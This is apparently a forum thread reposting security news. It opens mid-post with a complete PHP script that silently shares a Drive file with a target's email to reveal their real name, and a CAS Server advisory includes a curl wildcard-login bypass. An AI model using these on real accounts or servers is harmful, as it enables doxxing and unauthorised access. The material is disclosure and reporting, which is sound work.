sometimes you’ll retrieve null results, but most of the time what you’ll end up with is either a user-set display name, or in most cases, the first and last name the target entered while signing up for the account as seen here: and here‘s the source code. you may quickly notice php isn’t my native programming language, so feel free to make revisions. i’d love to see them. <?php $targetEmail = 'target@gmail.com'; require_once "google-api-php-client/src/Google/Client.php"; require_once "google-api-php-client/src/Google/Service/Drive.php"; require_once "google-api-php-client/src/Google/Auth/AssertionCredentials.php"; $cScope = 'https://www.googleapis.com/auth/drive'; $cClientID = '[clientid]'; $cClientSecret = '[clientsecret]'; $cRedirectURI = '[redirecturi]'; $cAuthCode = ''; if(isset( $_GET['code'])) { $cAuthCode = $_GET['code']; } if (!($cAuthCode) == "null") { $rsParams = array( 'scope' => $cScope, 'state' => 'security_token', 'redirect_uri' => $cRedirectURI, 'response_type' => 'code', 'client_id' => $cClientID, 'access_type' => 'offline', 'approval_prompt' => 'force' ); $cOauthURL = 'https://accounts.google.com/o/oauth2/auth?' . http_build_query($rsParams); header('Location: ' . $cOauthURL); exit(); } elseif (empty($cRefreshToken)) { $authURL = "https://www.googleapis.com/oauth2/v3/token?code=" . $cAuthCode . "&client_id=" . $cClientID . "&client_secret=" . $cClientSecret . "&redirect_uri=" . $cRedirectURI . "&grant_type=authorization_code"; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $authURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ""); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $accessToken = $oToken->access_token; $refreshToken = $oToken->refresh_token; } $createURL = "https://www.googleapis.com/drive/v2/files"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $createURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"title\": \"revealyourself1\"}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $oToken = json_decode($output); $fileID = $oToken->id; $compileJSON = array("role" => "writer","type" => "user","value" => $targetEmail,"emailAddress" => $targetEmail); $jsonPostData = json_encode($compileJSON); $addUser = "https://www.googleapis.com/drive/v2/files/" . $fileID . "/permissions?sendNotificationEmails=false"; $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "Authorization: Bearer " . $accessToken )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_URL, $addUser); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonPostData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); if (strpos($output,'error') !== false) { echo 'error feedback from google:<br><br>' . $output; } else { $oToken = json_decode($output); $fullName = $oToken->name; echo $targetEmail . ' is ' . $fullName; } ?> reflection this clearly isn’t, by any stretch of the imagination, the hack of the century. however, i do think that the significance of this issue, as well as my efforts to correct it, were marginalized by google. i believe many users signing up for a simple webmail account aren’t comfortable with their full names being readily accessible to the public, and ultimately my goal here is to see google make a more concentrated effort to protect their user’s privacy. i would like to see these two security vulnerabilities patched before troublemakers start running wild d0xing each other and spammers utilize them to compile name,email .csv data for highly targeted unsolicited email campaigns. i also think that these are two instances of information leaks, which google’s vulnerability rewards program classifies as being valued at $5,000 to $10,000 a pop, and i classify as information leaks based on google’s privacy policy’s indication of their user’s names being “personal information.” in any case, i won’t be working with google’s security team in the future unless they, at least in this particular instance, reevaluate what constitutes a security vulnerability. stay tuned for updates. Source: http://mcsheehan.com/?p=15

Citeste si tu articolele inainte sa zici "ca sunt la fel" ! Daca ai nevoie de ajutor cu limba engleza te pot ajuta.

The HTTP Referer header is a marketer’s dream, and a privacy nightmare all in one. The header contains tracking information that organizations can use for statistical traffic analysis and naturally to promote services to the right audience. It started out by including just the last page the user visited, supposedly a page referring to your website. Over time, more personal information has crept into the header making security engineers and privacy watchers uneasy. Mozilla has apparently decided to do something about it, and today announced a new feature called the meta referrer that changes the Referer header, putting more controls on what’s sent out. The feature is present in the Firefox 36 Beta. “Now your HTML documents can include a meta tag that specifies one of many referrer policies for the document to change what Firefox sends in the Referer header, and when it is sent,” wrote Sid Stamm, Mozilla principal security and privacy engineer. Stamm said users can choose from multiple policies that specify what data is sent, or to suppress referrers entirely. “This HTTP header has become quite problematic and not very useful, so we’re working to make it better,” Stamm said. “HTTP Referer provides a wealth of information about where you came from to the sites you visit, but this context isn’t always necessary (or desired). In addition, it is an unreliable tool for authenticating the origin of an HTTP request unless it’s always present, which it’s not due to privacy concerns (HTTPS sessions should not leak URLs to HTTP).” Stamm said many organizations were hacking the URL structure with direct loads, redirects and frames in order to change the referrer to something with less personal information. “What’s needed is a better way for referring sites to reduce the amount of data transmitted and thus providing a more uniform referrer that’s less privacy invasive,” Stamm said. It’s unclear yet when meta referrer will end up in a stable release of the Firefox browser. Mozilla this week released the latest version of Firefox, patching nine security vulnerabilities along the way. One of the vulnerabilities patched in Firefox 35 was a Gecko Media Plugin sandbox escape, when if combined with another GMP vulnerability, could enable an attacker to bypass the GMP sandbox running on Windows computers. The sandbox is apparently only used to host H.264 video playback and the bug would spared OS X and Linux. Descriptions of the nine vulnerabilities, in particular three rated critical by Mozilla, were posted online. Source

For a long time, Microsoft’s monthly Patch Tuesday security bulletins have periodically addressed use-after free vulnerabilities, the latest class of memory corruption bugs that have already found their way into a number of targeted attacks. Microsoft has implemented mitigations to address memory related vulnerabilities that afford successful attackers control over the underlying computer. Most notably, Microsoft has stood behind its Enhanced Mitigation Experience Toolkit, or EMET, suggesting it on several occasions as a temporary mitigation for a vulnerability until the company could push out a patch to users. Most recently, Microsoft brought new memory defenses to the browser, loading Internet Explorer with two new protections called Heap Isolation and Delayed Free, both of which take steps inside IE to frustrate and deny the execution of malicious code. Researchers have had a growing interest in bypassing EMET and memory protections for some time, with some successful bypasses disclosed and ultimately addressed by Microsoft. And until the Operation Snowman attacks, they were exclusively the realm of white hats—as far as we know publicly. As with the EMET protections, Heap Isolation and Delay Free were bound to attract some attention and last week at ShmooCon, a hacker conference in Washington, D.C., Bromium Labs principal security researcher Jared DeMott successfully demonstrated a bypass for both. DeMott’s bypass relies on what he termed a weakness in Microsoft’s approach with the new protections. With Heap Isolation, a new heap is created housing sensitive internal IE objects, while objects such as JavaScript likely to be targeted remain in the default heap, he said. “Thus if a UaF condition appears, the attacker should not be able to replace the memory of the dangling pointer with malicious data,” he wrote in a report published this week. This separation of good and bad data, however, isn’t realistic given the complexity of code and objects. Delayed Free then kicks in by delaying the release of an object to memory until there are no references to the object on the stack and 100,000 bytes are waiting to be freed, DeMott said. Taking advantage of these conditions, DeMott’s bypass works through the use of what he calls a “long-lived dangling pointer.” “If an attacker can locate a UaF bug that involves code that maintains a heap reference to a dangling pointer, the conditions to actually free the object under the deferred free protection can be met (no stack references or call chain eventually unwinds),” DeMott said. “And finding useful objects in either playground to replace the original turns out not to be that difficult either.” DeMott’s bypass is a Python script which searches IE for all objects, sizes and whether an object is allocated to the default or isolated heap. “This information can be used to help locate useful objects to attack either heap,” he wrote. “And with a memory garbage collection process known as coalescing the replacement object does not even have to be the same size as the original object.” DeMott said an attack would be similar to other client-side attacks. A victim would have to be lured to a website via phishing or a watering hole attack and be infected with the exploit. “If you have a working UaF bug, you have to make sure it’s of this long-live type and can basically upgrade it to an existing attack to bypasses these mitigations,” DeMott told Threatpost. “There’s no secret sauce, like every attack, it just depends on a good bug.” DeMott said he expects use-after-free to be the next iteration of memory corruption attacks. “There’s always a need [for attackers] to innovate,” DeMott said, pointing out that Microsoft deployed ASLR and DEP in response to years of buffer overflow and heap spray attacks, only to be thwarted by attackers with use-after-free vulnerabilities. “It’s starting to happen, it’s coming if it’s not already here.” Source

http://trtpost.wpengine.netdna-cdn.com/files/2015/01/FTP_scada-680x400.jpg/img] The parade of easily exploitable, critical vulnerabilities in ICS software shows no signs of ending anytime soon, with the latest entrant being two flaws in Schneider Electric’s ETG3000 FactoryCast HMI Gateway that allow unauthenticated remote access to the device’s FTP server and configuration file. The vulnerabilities exist in numerous versions of the gateway, which is used in manufacturing, energy, water and other industries as a Web-based SCADA system. Schneider Electric, based in Paris, has pushed out an updated version of the firmware to fix these vulnerabilities, according to an advisory from ICS-CERT. “Access to the rde.jar file containing configuration details is accessible without authentication. This could allow an attacker access to information on the setup and configuration of the gateway,” the advisory says. The vulnerability in the FTP server that runs on the gateway is just as concerning. “The ftp server of the device has hard-coded credentials. This could allow the attacker to access the service without proper authentication,” the advisory says. The affected versions are: TSXETG3000 all versions, TSXETG3010 all versions, TSXETG3021 all versions, TSXETG3022 all versions. Schneider Electric’s update fixes the FTP bug by giving users the ability to disable the FTP server. However, the fix does not remove the hard-coded credentials for the FTP service. To address the configuration file access, the company recommends that customers change the default credentials for the config files. Source

Oracle’s first Critical Patch Update of the year arrived Tuesday with its usual volume, and some disturbing fanfare. Oracle admins today are staring at 169 patches on their collective plates across the company’s product line. One of the more pressing fixes is for a an issue in the Oracle E-Business Suite, a bundle of applications that includes CRM, financial, supply chain and project management software. Noted Oracle bug-hunter David Litchfield last June 11 alerted Oracle to a serious flaw that he said behaved like a backdoor, though he told Threatpost he did not believe it was an intentional backdoor such as one implanted by law enforcement or government. “Maybe, though, giving them the benefit [of the] doubt, it could be that some [developer] was testing something and they forgot to turn it off. Who knows? What is concerning however is that Oracle seem not to know who and why this privilege was granted, either,” Litchfield said via email. Litchfield released some details on the vulnerability, CVE-2015-0393, yesterday, explaining that the PUBLIC role in the database is granted INDEX privileges on the SYS table. This allows anyone to create an index in this particular table, Litchfield said. “By creating a function-based index an attacker can execute arbitrary SQL as the SYS user thus fully compromising the database server,” Litchfield said. “Anyone with a vulnerable eBusiness suite web server connected to the internet is potentially exposed to this as it is possible to chain multiple vulnerabilities to exploit this without a username and password.” Litchfield said there is no reason for PUBLIC to have INDEX privileges on the DUAL table, leading him to speculate that it’s either an intentional backdoor, or a result of poor coding. “My first thought was that this had possibly been left as a backdoor (because it can be trivially exploited to gain SYSDBA privileges) and was an indication that the database server had been compromised,” said Litchfield, who discovered the issue during a client engagement. “I communicated my fears to the client and they began an investigation to determine when the privilege had been granted and by who to ascertain the why. It turns out that no one had—this privilege is granted as part of a seeded install of Oracle eBusiness suite.” Litchfield confirmed that Oracle told him that its engineers looked at the bug and said there was “no indication of when or why the grants were originally added.” Oracle said in its CPU advisory that the vulnerability is not remotely exploitable and merited a criticality rating of 6.0 out of 10. “This has been addressed.” -Oracle spokesperson When asked for a comment, an Oracle representative sent Threatpost a link to the January Critical Patch Update and said: “This has been addressed,” referring to the Litchfield vulnerability. Oracle also announced that it was disabling the use of SSL 3.0, calling it an “obsolete protocol” that was only aggravated by the POODLE fallback vulnerability. Attacks against POODLE allow an attacker to take advantage of the fact that when a secure connection attempt fails, under some circumstances the Web server will fall back to an older protocol and try to renegotiate the secure connection. If the server supports SSLv3, an old protocol, and the attacker can force the failed connection attempt, the attacker can then execute a padding oracle attack against the server and eventually decrypt the contents of the secure connection. The company went a step further to recommend disabling SSL altogether in favor of TLS 1.2. “They should also expect that all versions of SSL be disabled in all Oracle software moving forward. A manual configuration change can allow Java SE clients and server endpoints, which have been updated with this Critical Patch Update, to continue to temporarily use SSL v3.0,” said Eric Maurice, Oracle software security assurance director. “However, Oracle strongly recommends organizations to phase out their use of SSL v3.0 as soon as possible.” As for Java, Oracle patched 19 vulnerabilities in the platform, 14 of those remotely exploitable, including a half-dozen rating either 9.3 or 10, the highest score on Oracle’s risk matrix. Four client-side vulnerabilities rated a 10, however, Oracle said the number of overall Java bugs continues to decline. In its last CPU, for example, Oracle patched 25 Java flaws, and last April it patched 37. “This relatively low historical number for Oracle Java SE fixes reflect the results of Oracle’s strategy for addressing security bugs affecting Java clients and improving security development practices in the Java development organization,” Maurice said. Oracle, meanwhile patched eight vulnerabilities in its flagship Oracle Database Server, none of them remotely exploitable, and none applicable to client-only installations. The only other highly critical bugs, scoring 10.0, were found in Oracle Sun Systems Fujitsu M10-1, M10-4 and M10-4S servers. Source

Researchers have peeled back more layers on Vawtrak, a relatively new banking Trojan so complex that those who have taken it apart have likened it to a Matryoshka, or Russian nesting doll. Virus Bulletin published a deep dive on the malware penned by Raul Alvarez, a researcher with Fortinet, yesterday. Like a set of dominos, the malware involves a series of steps where each one triggers the next. In this case, the first executable binary triggers the second binary, but before doing so, it needs to decode it by calling a trio of APIs and decrypting a large block of data. “Vawtrak’s overlay area holds an encrypted copy of the executable binary that is used in the next layer. It is to be transferred and decrypted into the malware’s virtual memory space,” Alvarez writes. After calling another API, the malware also drops an image file, “Diana-23.jpg,” to con users into thinking that’s the only thing the executable does. After a series of modules are parsed and even more APIs are called upon the second layer of the malware, the .exe mainOUT-crypted-5, is decrypted and decompressed. By this point, following decompression, the malware has produced what Alvarez refers to as the “third doll” of the malware, an executable binary that’s the simplest of the four layers. Decrypting the large data block This part of Vawtrak has no protection at all, meaning no decryption or hashing is used. The third shell of the malware removes software restrictions and tries to restrict any permissions associated with any antimalware apps looking for it. Lastly, the fourth doll in this analogy, if everything has gone according to plan, decrypts data and produces a heap that contains an executable binary, a .DLL disguised as a .DAT file, with a random file name. Once deployed, the malware uses two more APIs, the RegCreateKeyA and RegSetValueExW to ensure the malware sticks around following a restart. While the malware which was first written about late last year was first thought to be targeting banks in Japan, Alvarez claims it’s “recently broadened its geographic scope” and has become more sophisticated over the last several months. “The ingenuity and skills shown by Vawtrak are not simple, but concise,” Alvarez writes in closing. In September researchers learned that Vawtrak, which was masquerading as Neverquest at the time, had evolved to target social media, retailers and game portals. Recent configurations allowed the malware to sniff out banking sessions, modify data in web traffic, break encryption and steal log-in credentials and other sensitive information. Source

=====[Alligator Security Team - Security Advisory]======== CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP authentication via crafted wildcards. Reporter: José Tozo < juniorbsd () gmail com > =====[Table of Contents]================================== 1. Background 2. Detailed description 3. Other contexts & solutions 4. Timeline 5. References =====[1. Background]====================================== CAS is an authentication system originally created by Yale University to provide a trusted way for an application to authenticate a user. =====[2. Detailed description]============================ A valid username and password required. Given a username johndoe and a password superpass, you can sucessfully achieve login using wildcards: username: jo* password: superpass The login will be sucessfully only if the ldap bind search return one unique member. The vulnerability described in this document can be validated using the following example: Client Request: root@machine:/# curl -k -L -d "username=jo%2A&password=superpass" https://login.cas-server.com/v1/tickets (note that * was url encoded to %2A) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>201 The request has been fulfilled and resulted in a new resource being created</title> </head> <body> <h1>TGT Created</h1> <form action=" https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz" method="POST">Service:<input type="text" name="service" value=""><br><input type="submit" value="Submit"></form> </body> </html> Server log: ============================================================= WHO: [username: jo*] WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz ACTION: TICKET_GRANTING_TICKET_CREATED APPLICATION: CAS WHEN: Tue Jan 20 18:38:17 BRST 2015 CLIENT IP ADDRESS: xxx.xxx.xxx.xxx SERVER IP ADDRESS: xxx.xxx.xxx.xxx ============================================================= =====[3. Other contexts & solutions]====================== In order to apply the patch, you have to update at least to version 3.5.3. Newer versions, such as CAS 4.0.0 and above, are not vulnerable. =====[4. Timeline]======================================== 29/12/14 Vendor notification. 14/01/15 Vendor rolled out new version 3.5.3 17/01/15 Mitre assigned CVE-2015-1169. 21/01/15 Disclosure date. =====[5. References]======================================= 1 - https://github.com/Jasig/cas/pull/411 2 - https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c -- Grato, Tozo Source

Nearly half of people aged 16 to 24 foresee the end of passwords and pin numbers by 2020 as biometric security takes over, according to research by Visa. The research of 2,000 people revealed that 69 percent of respondents aged between 16 and 24 - dubbed 'Generation Z' - believe it will be easier and faster to use biometric identification than remembering passwords and pin numbers. This age group is also keen to adopt biometric security. Some 76 percent feel comfortable with the concept of making payments using biometric data. Jonathan Vaux, executive director at Visa Europe, told V3 that the use of biometric authentication in smartphones as seen in Apple's latest iPhones will help drive demand for the technology. "Fingerprint biometrics in particular are entering the mainstream as a security measure, with the likes of Apple and Samsung relying on biometric security to enter their phones, and more recently the launch of Touch ID and Apple Pay," he said. Generation Z also favours fingerprint scanning over other forms of biometric identification, the research revealed. Nearly 70 percent expressed a desire to use fingerprints rather than passwords, while 39 percent favour retina scans and 27 percent favour face recognition. Vaux explained that biometrics technology will continue to evolve, offering more secure identification by scanning vein patterns in fingers rather than fingerprint systems which can be hacked. This evolution of biometrics and increased demand from consumers will break down the scepticism and criticism that some consumers show for the technology. "We mustn't discount biometrics as a viable form of security. When passwords were first introduced consumers needed to be educated on how to be safe and secure when using them," said Vaux. However, Vaux does not believe that passwords will disappear completely, but will become a secondary layer of security to further reduce the risk of fraud. "There are some concerns surrounding biometric security measures, such as whether fingerprints can be reproduced. Biometric security could be coupled with password or Pin authentication to maintain higher levels of security," he said. "In the future there may not be one security measure, but a combination of several - the biometric equivalent of two-step authentication." Biometric security is undoubtedly becoming more widespread. Apple added its TouchID fingerprint scanner to the latest range of iPads and iPhones, and Barclays has introduced a tool that scans the vein patterns in a finger. Source